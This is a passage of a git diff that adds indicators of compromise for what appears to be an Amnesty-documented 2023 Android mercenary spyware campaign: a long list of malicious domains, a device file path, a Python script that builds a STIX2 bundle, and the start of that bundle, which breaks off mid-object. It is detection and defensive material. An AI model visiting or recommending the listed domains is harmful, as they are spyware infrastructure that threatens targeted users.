+mavinstazionaria.com +medeka.net +medeka.org +medialoungecafe.org +meltfour.com +meltingiceberg.com +meltingonice.net +menuiniziale.com +merchantsdeals.net +merdek.net +merdek.org +miffingdec.org +mindonone.com +mindscrable.net +misticwawes.net +modifiedcabbie.com +modswitch.net +modulatorundermine.net +moisteneffects.com +molecularcrewmate.com +molehillsudoku.com +mondoarancione.com +mondodelcibo.net +mondoveloce.net +moneylessstaining.com +moneywiselyrically.net +mongooseislamist.com +monopolytapeless.link +monstertrick.net +monthlytackle.org +moonedcapacity.com +moonlightmacaroni.net +mossdecor.net +mostpapers.com +mottofoothill.com +mournfulnautical.net +movablerosy.net +movie-tele.com +movietele.tv +movingstinger.link +mowingsnugness.com +muchheadfirst.com +mudneon.link +multiplestarfish.org +mundaneauthor.com +muppetstubbly.link +my-tempo.net +my-tempo.org +mythdespise.com +namecharcoal.com +nappystove.org +nastilyhenna.net +nationalflavorful.org +naturecando.net +naturenews24.com +naturesblocks.net +natureviral.net +navepersa.com +navigatorunsigned.org +nebulademotion.com +neptunetrack.com +nervyrelapsing.com +neuropathynews.net +neuroticoutfield.org +newlooksaloon.eu +news-occhisulmondo.info +newtechadapters.net +newtonriparazioni.com +nextgenprojects.info +nextoncare.net +nicknamestopper.net +niftyolive.net +nimblevisible.net +ninepaper.net +nirvanadevelopments.in +nitrogames.in +noseear.net +nuggetmaybe.org +number4play.net +numbercamper.net +numerousoverplay.com +nuovocontesto.net +nursingherbicide.com +nursingvintage.net +nutcaseextinct.com +nuttinessdrowsily.com +obituarydeserving.com +objectspring.net +oblongsatiable.org +obsoletecone.com +obsoletenavigator.link +occhisulmondo-info.news +occhisulmondo-news.info +occhisulmondonews.info +ognigiorno.net +ok-ezone.com +ok-zone.org +olivetrembling.link +olympicsmystified.com +omegasalad.link +omitanagram.com +onboardexplore.net +oncenot.net +onecaryear.com +onerightdecision.com +onionnavigate.net +onlinesenate.net +onlookergestate.com +onoffworld.net +onshorecarmaker.com +onshoreunsalted.link +ontheplayart.com +oozybankroll.net +operateguy.net +opponentpasta.com +oppositelegend.com +orangelines.net +orangemake.com +orangenotebook.net +orangesticker.net +ordinaaiuto.net +ordinaryringluck.com +outageprorate.com +outerlecturer.org +outingjolt.com +outlasthangup.net +outlinecoeditor.net +outragedevouring.link +outrightlasso.net +outsidersaid.link +outsidersmog.net +outtakescrayfish.net +outtakesenigmatic.net +ovencraftily.org +overallcache.org +overbookskillet.com +overcastscientist.com +overcookgermless.com +overdrawnaflutter.net +overduepentagon.net +overeaterpawing.net +overeatersend.com +overhungosmosis.com +overlaidastronaut.net +overlookannex.net +overlookcitizen.net +overreachimpurity.net +oversizedfavorable.net +overtlyreseller.org +overuseranked.com +overviewhumpback.net +oxidantfestive.net +oxidizingmoistness.net +packedjars.net +packedlotion.net +padlockfolders.org +padlocksituation.link +pagerroping.com +pagingeggshell.com +pallaverde.com +panicunblessed.com +panoramaroulette.com +pantrytrunks.link +pantsaxis.link +papayapastel.com +paperforcraft.com +papermake.net +papernotes.eu +parabolacornstalk.com +paradisegoal.com +paragraphchimp.link +parasitedeputize.com +parceldeliverycdn.net +parkadramatize.net +parkingbird.net +parmesanpreshow.link +parrotking.org +parttry.net +partyear.net +passablycontest.net +passinglikewise.com +passionensure.com +passportpassivism.net +passwordstarboard.net +pasteddilation.com +pastorample.net +paternroad.net +patienceshrapnel.link +patientunmarked.com +paupercarrot.org +pawingeverglade.net +paycheckswapping.com +payingputt.com +peculiarcrop.net +penaltycanteen.com +pencilsnowless.net +pensionchase.net +peppersmoothies.net +perceivebreach.net +percentdebug.com +perennialimprison.org +perennialutilize.com +perfectlyunfocused.net +perfectlyvantage.com +perfumelandlord.com +perkinesstiara.net +perkyprogress.com +petitionunadorned.net +petticoatzippy.com +pettinessaeration.org +petuniaslinging.net +phonebookspirits.net +phoninesstwirl.net +phrasesweep.com +pikiram-rakyat.net +pikiram-rakyat.org +pikiran-rakyaat.com +pikiran-ratyat.com +pikiran-ratyat.net +pikiran-ratyat.org +pikirn-rakyat.com +pikirn-rakyat.net +pikirn-rakyat.org +pizzafontario.com +plasticshovels.net +platypuspension.com +playbacktanned.link +playingpyramid.net +playingwincing.com +playlistreawake.org +playsetmonastery.net +plexinsspencer.com +plopbackshift.com +plownuclear.com +ployuncoiled.net +pluraldumbness.com +pluralrectified.com +pluseach.org +plusmenworld.net +plusstrict.com +pointedfocus.net +pointingtrimness.net +policeexpansion.net +policehasty.com +policygravel.net +politelyturban.com +polkadotpapers.net +polygraphstructure.org +poolhands.org +poppydwarf.com +porridgesquad.org +porridgevalue.net +portholechemo.com +poserbanner.com +poshtraverse.net +post-fastdelivery.org +postinglevel.com +postnasaljiffy.net +postparceltracking.net +poteremistico.com +preacherhardiness.com +precutcrudeness.net +predefinerace.net +prefaceoxidant.com +prenatalexpel.org +prenatalsmilingly.com +presidenttricolor.com +presumequake.net +preteenabdominal.net +pretzelfounder.com +pretzelpurgatory.net +prevalentskillful.link +prewashedvenue.net +priedeuphemism.com +primapartita.com +primapartita.net +primodominio.net +princessupside.com +prismcompress.com +privatedecorator.com +privaware.net +probiotictweed.com +produceclang.com +profanebrilliant.org +profileprofessed.org +profuselykebab.com +projectorunburned.com +promotedcontents.com +promotionperfectly.link +proofreadglitzy.com +proofreadkisser.net +propercar.net +proprietavivian.com +prorateoverlaid.net +protresponse.com +proudfive.com +provableatop.com +providedunbitten.net +prowlingunruffled.com +prudishlypension.org +puckertightness.net +pulverizespherical.org +punctuatedorsal.link +pungentmagnetic.org +purebredventure.com +purelysandworm.com +purifyresurrect.com +puristparrot.net +purplecottontrees.net +pushcartdata.net +putdownslush.net +puttboil.net +qlscoltivazione.com +quaintlycatalyze.net +quakejellied.net +qualifiedarmoire.net +quickendecidable.org +quickenfax.com +quirkstonework.com +quotableuncheck.com +rackvaliant.com +raffleconstrict.net +ragweedwince.com +raiderboasting.link +rail2park.net +railwaytransfer.net +rainandgains.net +raisedroofs.com +rakecork.com +rakingacclimate.com +randombundle.org +randompixies.net +randomtwotree.net +rangingpetroleum.com +rareashen.org +ratingcool.com +ratunderhat.net +ravingstaring.com +ravishingnickname.org +ravishingpapyrus.net +ravishingpentagon.com +realcartfixer.com +reapplyspokesman.net +reapprovehanded.com +reassignparasail.net +reassurewidely.com +reazioneinversa.com +rebateblaspheme.net +reborndonor.org +recitequail.com +recklessstream.net +recoilgiblet.org +reconfirmarmrest.com +recouprecount.com +recoupunrushed.com +recreatepouch.link +recycleguard.net +redgreypost.com +reexaminescoreless.org +refinishrename.net +reflectoranyhow.net +reforestcartwheel.net +reformedrudder.com +refractdeflector.net +refreezeconfront.net +refurbcollections.com +regaliaspoiled.net +regimeovereater.net +registerclerk.com +regulatepatience.com +rejoicethee.net +relearnsacred.net +relearntwisty.net +relivepurge.net +remindercelibate.link +remnantpossibly.com +remodelermarine.com +remoldlisp.org +remotestate.net +removablecrimp.net +renewablecaring.net +rentalbath.org +rentaldiarycontent.com +rentaltweezers.net +repaintgrower.net +repealsmolder.net +repentresisting.com +rephraselance.org +repossessmonotype.net +repostcrusader.com +reputablydevalue.net +reputablyschilling.net +resaleslab.net +resemblenervous.org +resolvedpolygon.com +resolvedwhiff.net +respectbadness.net +restkeepwest.com +resupplyblabber.org +resurfacediscount.net +resurrectconstable.net +retaliatecamper.com +retinalbalance.org +retireddevotee.net +retrainstraggler.org +retryharmonics.net +revealmockup.com +reverbscraggly.com +reverencepenalize.com +revisitcruncher.com +revolvinggruffly.net +ribbonauthor.net +riddancenurture.net +riderschoice.eu +riflingpremiere.net +rileylocks.com +ringercan.net +ringerplay.com +riotduplicity.com +risingmoon.in +risingthunderbird.net +ritardatario.com +rivaldefraud.com +roadplanet.net +roadshows.in +roadtomasa.com +roaminginworld.com +roamingtree.net +rockedpens.net +rocketmess.net +rocketoncar.net +rockingmoose.net +rockpapergate.com +rockpartcan.com +rockslidecaramel.org +rockstarcraze.com +rockstarman.net +rockycanyon.net +roguegrain.com +rollingslot.org +romoncargo.com +roregardens.com +rosecharacter.com +roundedsquares.net +routinebarber.com +routingexpensive.net +rubberradar.net +rubbingguiding.net +rubyextenuate.com +ruckusrut.net +rugrailway.com +rumorcape.net +runningdownthehill.com +runtimesecrets.net +runtimeshow.com +ruralconflict.link +ruraldomestic.net +rustingcase.com +rustyicemelon.net +sabotagereprogram.com +sacramentanswering.net +sacredconcrete.com +sacrificehandmade.com +saddenungloved.net +saddledprogram.com +safeguarddivorcee.net +safehousesermon.net +safelyimmunity.net +sagedramatic.net +saidchant.net +saladgroggy.net +salamifrostlike.net +salamiunhidden.com +salariedreconfirm.link +salsadipizza.net +salsastimuli.com +saltpushpin.net +salvagecornflake.net +sandbagescapade.net +sandbanksegment.com +sandblastdenote.net +sandboxwashable.org +sandfishstalemate.org +sandpitsandbank.net +sandwormmandatory.link +sandyhubcap.com +sandytackiness.org +sassyunbeaten.net +saturateensure.link +saunaslush.org +sauntereram.org +saviorsurface.com +scallionpug.org +scamwobble.net +scanningdraw.com +scarecrowgigahertz.link +scaredcatalyst.com +scarfprenatal.com +scarinessembattled.com +schemingcredibly.com +schnappsthieving.com +scientistwannabe.com +sciondeniable.net +scoldingsprawl.net +scorerdoing.com +scoringunthread.net +scoundrelarrival.com +scoutingsupremacy.net +scrapsadness.link +scratchseries.com +scratchskittle.com +scribbleguidable.net +scriblezone.net +scrubberfood.com +scurvyrepulsive.net +searchingman.com +searchingsolar.net +searchmaker.net +searchonman.com +searchonmania.net +searchworld.uk +sectionaldaredevil.com +sediestefano.com +seducecause.org +seizinggreedily.net +seldompost.com +selectivehumble.net +selfmoonshine.org +seltzerdefection.com +semisweetcrafty.com +sensitiveoblivious.com +septumboots.org +serakaycharts.net +sermoncabbage.net +serotoninuneaten.net +servedumpster.link +servetubeless.net +servingunsalted.com +settlechapter.link +settlemarlin.net +setupbonelike.com +sevenfoldfeisty.com +sexteynyardful.net +shadinessbudding.net +shadowmirage.net +shakilytrickle.org +shallowretired.com +shantyreference.link +shapedvision.net +sharperfootwear.link +sharpiegrill.com +shelvingcarried.net +shelvingmandolin.org +shelvingoverhand.org +shiftingneatness.link +shiftysurvival.com +shopliftgrandma.net +shoremongoose.com +shorterjuvenile.com +showbizcontext.com +showdownfrigidly.net +showmanmongoose.com +shownradiation.com +showpiecescanner.net +showplaceelusive.com +shrankempirical.net +shrinkgloomy.net +shrubberytilt.com +shrunkirregular.com +shuckingwhiny.net +sidingscrutiny.net +siftspew.com +siliconsmall.net +silkysquares.org +sillystep.link +silvercube.org +silvermart.eu +simfacts.com +simplytitanic.net +simplyunrented.com +sindo-news.com +sindo-news.net +sindo-news.org +sindonevs.com +sindonevs.net +sindonevs.org +situationstoplight.net +sixtiesended.link +skatercleat.net +sketchbounce.com +skewerart.net +skilledfelt-tip.com +skimpilytrustable.net +skinlessarrogance.org +skinlesschef.com +skippersureness.net +skirmishdandelion.com +skirmishstardust.org +skirtyen.com +skyrocketwalrus.net +skyshow.in +skywardduke.com +slackingcalzone.net +slashingimmortal.net +slatedbuttons.com +slatedcards.com +slicingmauve.net +slingingjaybird.link +slipperysquares.net +slitdeodorize.org +sloppilynag.com +slumglorified.org +slushshrewdly.com +slyurologist.net +smiteauthor.com +smittenvoicing.net +smocktwisted.net +smokeddeceit.com +smoldervividly.net +smugglingebook.net +sneezinggrip.net +snoozedoze.net +snoredecathlon.net +snoutpull.org +snowsuitmobile.org +solarbass.net +soulpast.net +sparkeldesign.net +sparkylogos.link +speakeasypaths.net +speciesarray.net +spectrone.net +spellbindtabasco.net +spencerpinole.org +spenderprancing.net +spentbronco.com +spentmatchbook.org +spewcupid.net +spewplot.com +spiedsalute.net +spiltswimming.com +spinachhydrant.org +spinnerwiry.com +splicingchildlike.com +splinedcolor.link +splurgehaziness.com +spongytraps.org +spooncapillary.com +spoonhatbox.com +spotdotpots.net +spottedcatalog.com +spoutclerk.org +spoutrental.com +spreadhands.net +spreerented.com +sprigretention.com +springprofile.com +sprinklerbulb.net +sprintchess.net +sprungkebab.link +spyglasswomanhood.com +squarereddots.net +squashcustody.net +squealinghypnotic.net +squeegeeelves.com +stackedmouses.com +stagereburial.com +stagnateelves.com +staplingquarterly.com +staplingrenewable.link +starboardfreebee.com +starboardsprite.com +stardustnet.uk +starlitstopwatch.org +starshiphurt.net +startaction.net +startcakein.net +startingimplicit.link +startingpencil.com +startlingstoop.net +stateonboard.com +statueretriever.link +steakpart.net +steamascension.com +steeddisparity.com +steeldeal.net +steelware.net +steersmanaerospace.com +stemcreate.net +stemoneworld.net +stenstudio.net +stereovisions.net +sterilearmored.com +sterileextrude.net +sterilityshingle.net +stickcart.net +stickonthepost.org +stifletried.com +stilljeep.com +stillmakes.com +stillnice.net +stillonmind.net +stillplusok.com +stillvase.net +stilthandsaw.net +stingerprogram.com +stinkinggrandma.net +stockcrate.net +stockmarton.net +stockoak.net +stockoneman.net +stockonepaper.net +stokerubdown.com +stoneworkeligibly.com +stoneworksnazzy.link +stoogematter.net +stopminus.net +stoppagesneer.net +stoppinglard.com +storagemorbidity.com +storagename.org +storeroomdirected.net +storminworld.net +strandshed.net +streamedservice.net +streetcontainer.net +strongboxerased.org +stronglyexcavator.com +strongout.net +strumidly.org +strumpolygraph.com +stubblyidiom.net +stucksquishier.org +stylingflatten.net +subarcticthigh.com +subatomicgreeter.net +subleaseelectable.org +subletmonthly.com +sublimewharf.link +subornscodels.com +subsidegumdrop.com +subsidycrop.com +subsoilviolet.link +suctiongravel.org +sufficeconfigure.com +suitableunifier.net +suitcasefling.com +suitcaseherbs.net +sulfurbucket.com +sulphatefringe.org +sulphurictwentieth.net +sunchat.eu +sunkenrealty.net +sunriseblooming.org +supergluetask.com +superjetflatterer.com +superjethaphazard.com +supportsetting.net +supporttry.com +surfercarnation.link +surgerydupe.com +surprisearmchair.com +surprisingfacts.net +surrealeffort.org +surrenderchaffing.net +surroundcomma.net +surroundunashamed.net +surveyremarry.com +survivordosage.com +swallowgarage.org +swamplandauthor.net +swarmquery.org +swaytablet.net +sweetpancakelost.com +swervefootless.net +swiftlyrover.org +swimmablespoiler.net +switchreviving.net +swivelunmixable.net +swordlegion.uk +sworeserve.com +swungzestfully.net +sycamoreturbofan.net +synapsepaying.net +synergycork.com +synopsestrain.net +tabascoambulance.net +tacticstibia.com +taintedglass.link +taintedpaint.net +takedrinking.org +takeleaveon.com +takesonmind.net +taketheway.net +talkcare.net +talkneaton.com +talknever.com +talknotin.net +talksheep.com +tantrumhandpick.net +taredforest.com +taskrequisite.com +taskthreecomplete.net +tastinessonset.net +tavernprotract.net +temnpo.com +temnpo.net +temnpo.org +tengailresto.net +theftrefinance.com +themeswellcare.org +theologystarlight.com +theologywhooping.net +thermaltruck.com +thermicplastic.uk +thicknessfreckles.org +thicknessoverspend.com +thimbleducking.net +thimbleshrine.net +thinnesscaboose.net +thrashflier.com +threadmushroom.org +threesilos.net +thrivingharbor.com +throweravailable.net +throwerstunner.org +throwerwobbling.net +throwingendurance.net +thundermonster.org +thunderyards.net +tidinessabiding.com +tightnessogle.net +tilinggreeter.com +tiltedgreenhouse.org +timbersound.org +timerunshow.net +timethunder.com +timingdeny.net +tincansblue.net +tinseltreadmill.com +tinworkmonologue.com +tipoffthieving.org +tippedanvil.com +tipperoverrate.net +tndlounge.com +trackguard.net +trailsidesplurge.net +transformheaviness.com +translatedinghy.link +trapdoorpunisher.com +trasportovic.com +traverseduplex.net +traverseeducated.com +traversehardwood.net +traverseheroism.net +treadingcollapse.com +treatmoodiness.com +treestumps.net +trekkereggnog.com +tremblingroundness.net +trenchcheek.com +tribunews.net +tribunews.org +tribunnevs.com +tribunnevs.net +tribunnevs.org +tribunnews.org +tributaryoxygen.com +trickeryrectify.com +trickytape.net +tridentagreeably.com +tridentamused.com +trimmerenvoy.net +trinay.net +tripletowers.net +trivialstock.net +tropicalalmanac.com +tropicalzz.eu +tropicsastride.com +tropicsenergy.net +troublingstack.com +trousersslashed.link +troutpastrami.net +truckmarsh.uk +trumpshallot.com +trustfulunsolved.net +trynotnow.net +tubbydevalue.com +tubbyrockfish.com +tubedvision.net +tubelesslushly.com +tubelesstrophy.org +tubularrisotto.com +tuitionpants.net +tuliptravels.in +tummycasino.net +turbanopossum.com +turbojetpasta.net +turbulentcrazy.net +turretplatter.net +turtleanimating.com +tweedtranslate.net +twentyamusable.net +twentynutty.org +twiddlesandbox.org +twiguntainted.com +twilightexpert.net +twinklingspot.com +twinstipoff.link +twistedblocks.net +twistedcamera.org +twistedshovels.net +twistedtubes.net +twistythumb.org +tycoonautomaker.com +tyinggonad.com +ultimatumgalore.net +ultimauscita.net +unadorneddisburse.net +unalignedonyx.net +unangryspecht.org +unauditedkilometer.com +unboltedlevers.com +unbridleeating.com +uncaringantitrust.net +uncaringglowworm.net +unchecklagoon.net +unclipenvoy.com +uncloakbulge.net +uncloakcolt.com +uncombedunfixed.net +uncrossangriness.org +undamagedappraiser.com +undauntedbagginess.com +undercookqualify.net +undergradaversion.net +underlinglair.org +undraftedglorify.net +unendingexemplary.com +unfittedhandwash.org +unfundedsubtly.link +unglazedamplifier.net +unglazeddimmed.net +ungradeddislocate.com +unhearingunshaven.com +unhelpfulgenerous.net +unicornpresoak.net +uniformedonline.net +uninstallhandsaw.net +uninvitedduct.org +universetactics.net +unknownupfront.com +unlightedprism.com +unlockedabroad.org +unlockingplating.net +unluckilywharf.com +unmarkedkinswoman.net +unmaskingattest.net +unneededfeminine.net +unnoticedrelay.net +unopenedrippling.com +unopenedtablet.com +unpaintedoutpour.com +unpickedaltitude.com +unreachedaffiliate.com +unreachedsurfboard.net +unrefinedconfigure.com +unrushedstiffness.com +unsavedheaddress.net +unselectclay.net +unsignedcollage.net +unsmoothaccompany.com +unsmoothpalpable.link +unsolvedpoise.com +unspoiledsaint.net +unsteadyconfusing.net +unstoppedguy.com +unstuffedafflicted.net +unsureuncouth.net +untidygumming.com +untrackedtrifocals.com +untrimmedscrubber.org +untrueduller.com +untwistsinging.net +unvaluedmagma.com +unvisitedessence.net +unwatchedglancing.com +unwellcheer.com +unwillingscheme.net +unwiredgrudging.net +unwiredworsening.net +unwittingblinked.net +unwittingcanning.com +upbeatconfining.org +upgradediminish.link +uphillpucker.org +upholdfrigidity.link +uponsurreal.com +upperlair.org +upstagedown.com +upstateexponent.com +upswinggreedless.com +uptightattendee.com +urbanhouseladder.com +urchindecipher.com +ursidaewinter.org +usedrecite.com +utmostcalamari.net +utterbust.net +vacanzesuprema.com +vacationfavored.com +vaguenessenforcer.net +validunpadded.com +valuecharm.net +vanitycelery.net +vanitycredibly.com +vaporizerfiddling.com +variedmud.net +varmintreptile.com +varnishdeeply.com +vealcomfy.net +velvetroad.net +ventriclesample.net +venturecheesy.net +verdictdelirious.net +versionbobtail.com +vertigoreviver.com +vestruby.com +vetostate.link +vhelpu.eu +viabilitydriver.com +viaggiarenelmondo.net +victorscivils.com +vieweraide.link +vindicatestew.net +violateascent.com +viscoustiring.net +viselikeheadstand.com +visitorsilo.link +vitaminsportside.com +vividlyproponent.com +vivva.org +vmlogistics.in +vocalistscandal.com +vocalizeappealing.link +vocationeject.net +voicingcable.com +volleysubdued.com +voyageappear.net +walkbotanist.net +walkingpeople.net +walletpark.net +walnutreach.net +warnmyname.com +washclothremnant.com +washedoverturn.com +washingdefiling.com +washoutbrunch.net +washroomeasiness.org +wassatformene.net +wastetightenhub.org +watchconsent.com +watchplutonium.com +waterunease.com +wavyupright.net +weatherarch.com +westcareast.net +whatcando.net +whatneed.net +whiteforks.net +whitegardens.net +whittawpasseth.org +whoeverstimulant.net +whydistort.com +whynotthisnow.net +wikistone.net +wildfowlexploit.org +willowsquishy.net +windowtiles.net +windwhensolar.com +winkingtapestry.net +winningsdwarf.link +winterflavorful.net +wirelesspuritan.org +wisehardware.net +wobbleaerosol.link +wobblingduration.net +wobblyprofessed.net +womanlyshrapnel.net +wondercakemake.com +wonderonbrain.net +wonderwhythis.net +woofdarkened.com +woozysnugly.org +worrisomejailhouse.org +worshiperborrower.net +worshiperunsoiled.com +worstdaycare.com +worthyumbrella.org +wrangleprimate.net +wranglesmartness.net +wrappedaural.org +wrathpushcart.net +wrenchhappier.net +writtenunmanned.com +wrongedshun.net +wronglyobscurity.net +wrongright.net +yappingemit.net +yearlingtwenty.org +yellowbirdcage.net +yellowflashinglines.com +yellowgarbage.net +yellowgardens.net +yellowgolfcar.link +yellowwildtiger.com +yieldecosphere.net +yippeelaziness.net +yourlongsearch.net +zaracommercio.com +zealouslint.com +zeppelinextrude.com +zippydoornail.com +zoologycustomer.com +zshirts.in diff --git a/data/ioc/spyware/amnesty/2023-03-29_android_campaign/file_paths.txt b/data/ioc/spyware/amnesty/2023-03-29_android_campaign/file_paths.txt new file mode 100644 index 0000000..8ca0d30 --- /dev/null +++ b/data/ioc/spyware/amnesty/2023-03-29_android_campaign/file_paths.txt @@ -0,0 +1 @@ +/data/local/tmp/dropbox diff --git a/data/ioc/spyware/amnesty/2023-03-29_android_campaign/generate_stix.py b/data/ioc/spyware/amnesty/2023-03-29_android_campaign/generate_stix.py new file mode 100644 index 0000000..fc45df7 --- /dev/null +++ b/data/ioc/spyware/amnesty/2023-03-29_android_campaign/generate_stix.py @@ -0,0 +1,40 @@ +import sys +import os +from stix2.v21 import (Indicator, Malware, Relationship, Bundle, DomainName) + + +if __name__ == "__main__": + if os.path.isfile("malware.stix2"): + os.remove("malware.stix2") + + with open("domains.txt") as f: + domains = list(set([a.strip() for a in f.read().split()])) + + with open("file_paths.txt") as f: + filepaths = list(set([a.strip() for a in f.read().split()])) + + with open("android_properties.txt") as f: + properties = list(set([a.strip() for a in f.read().split()])) + + res = [] + malware = Malware(name="MercenarySpywareCampaign", is_family=False, description="Targeted campaign by a mercenary spyware company") + res.append(malware) + for d in domains: + i = Indicator(indicator_types=["malicious-activity"], pattern="[domain-name:value='{}']".format(d), pattern_type="stix") + res.append(i) + res.append(Relationship(i, 'indicates', malware)) + + for f in filepaths: + i = Indicator(indicator_types=["malicious-activity"], pattern="[file:path='{}']".format(f), pattern_type="stix") + res.append(i) + res.append(Relationship(i, 'indicates', malware)) + + for p in properties: + i = Indicator(indicator_types=["malicious-activity"], pattern="[android-property:name='{}']".format(p), pattern_type="stix") + res.append(i) + res.append(Relationship(i, 'indicates', malware)) + + bundle = Bundle(objects=res) + with open("malware.stix2", "w+") as f: + f.write(bundle.serialize(indent=4)) + print("malware.stix2 file created") diff --git a/data/ioc/spyware/amnesty/2023-03-29_android_campaign/malware.stix2 b/data/ioc/spyware/amnesty/2023-03-29_android_campaign/malware.stix2 new file mode 100644 index 0000000..cd6c37b --- /dev/null +++ b/data/ioc/spyware/amnesty/2023-03-29_android_campaign/malware.stix2 @@ -0,0 +1,52504 @@ +{ + "type": "bundle", + "id": "bundle--d4a934d2-58a7-4edd-9086-fbb1d845cd55", + "objects": [ + { + "type": "malware", + "spec_version": "2.1", + "id": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5", + "created": "2023-03-29T12:58:43.400613Z", + "modified": "2023-03-29T12:58:43.400613Z", + "name": "MercenarySpywareCampaign", + "description": "Targeted campaign by a mercenary spyware company", + "is_family": false + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ce02123b-f44b-4ace-b659-1dc32c547e10", + "created": "2023-03-29T12:58:43.40085Z", + "modified": "2023-03-29T12:58:43.40085Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='automatedrelax.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.40085Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7e7538c2-5e95-420d-8f57-6b5fc5b79fe4", + "created": "2023-03-29T12:58:43.407716Z", + "modified": "2023-03-29T12:58:43.407716Z", + "relationship_type": "indicates", + "source_ref": "indicator--ce02123b-f44b-4ace-b659-1dc32c547e10", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3bb926c3-4543-4b5f-b8e8-349dbe22009d", + "created": "2023-03-29T12:58:43.408323Z", + "modified": "2023-03-29T12:58:43.408323Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='movingstinger.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.408323Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--379da288-bfc6-4bdd-9110-b4c6f0658636", + "created": "2023-03-29T12:58:43.409395Z", + "modified": "2023-03-29T12:58:43.409395Z", + "relationship_type": "indicates", + "source_ref": "indicator--3bb926c3-4543-4b5f-b8e8-349dbe22009d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ebf54fc8-01fc-4111-a5ba-e5e912ca27aa", + "created": "2023-03-29T12:58:43.409586Z", + "modified": "2023-03-29T12:58:43.409586Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='covershowcase.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.409586Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2742ad91-09ed-4eba-88d3-ba13da3dfac4", + "created": "2023-03-29T12:58:43.410563Z", + "modified": "2023-03-29T12:58:43.410563Z", + "relationship_type": "indicates", + "source_ref": "indicator--ebf54fc8-01fc-4111-a5ba-e5e912ca27aa", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--44c2c8f1-ec44-4cc5-835f-9724b98dd7cd", + "created": "2023-03-29T12:58:43.410744Z", + "modified": "2023-03-29T12:58:43.410744Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ascertainprance.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.410744Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--915bffbf-9eec-413b-a522-34175651a80d", + "created": "2023-03-29T12:58:43.411494Z", + "modified": "2023-03-29T12:58:43.411494Z", + "relationship_type": "indicates", + "source_ref": "indicator--44c2c8f1-ec44-4cc5-835f-9724b98dd7cd", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--135f25f9-763e-4159-af37-7a5499ef7e89", + "created": "2023-03-29T12:58:43.411672Z", + "modified": "2023-03-29T12:58:43.411672Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wrenchhappier.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.411672Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1c36df85-91a6-4f2b-831b-ae46b3a87c45", + "created": "2023-03-29T12:58:43.412417Z", + "modified": "2023-03-29T12:58:43.412417Z", + "relationship_type": "indicates", + "source_ref": "indicator--135f25f9-763e-4159-af37-7a5499ef7e89", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8d5b6557-c65e-4824-b02e-8c43db5e2b82", + "created": "2023-03-29T12:58:43.412595Z", + "modified": "2023-03-29T12:58:43.412595Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='masterlights.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.412595Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5b7c474b-fde3-4542-acfd-2dcd46060909", + "created": "2023-03-29T12:58:43.413264Z", + "modified": "2023-03-29T12:58:43.413264Z", + "relationship_type": "indicates", + "source_ref": "indicator--8d5b6557-c65e-4824-b02e-8c43db5e2b82", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--77be74fd-d89f-4bc6-a765-e7d6b34eab30", + "created": "2023-03-29T12:58:43.413438Z", + "modified": "2023-03-29T12:58:43.413438Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='klick-suara.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.413438Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4f49e8e4-86f1-431b-97ca-059e35f2264b", + "created": "2023-03-29T12:58:43.414265Z", + "modified": "2023-03-29T12:58:43.414265Z", + "relationship_type": "indicates", + "source_ref": "indicator--77be74fd-d89f-4bc6-a765-e7d6b34eab30", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dcc8e97b-7c52-476e-bbcf-f68bec8711fe", + "created": "2023-03-29T12:58:43.414442Z", + "modified": "2023-03-29T12:58:43.414442Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='easilysecond.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.414442Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e58e5cfb-cf7b-4d89-9b47-7fc95d539184", + "created": "2023-03-29T12:58:43.415243Z", + "modified": "2023-03-29T12:58:43.415243Z", + "relationship_type": "indicates", + "source_ref": "indicator--dcc8e97b-7c52-476e-bbcf-f68bec8711fe", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": 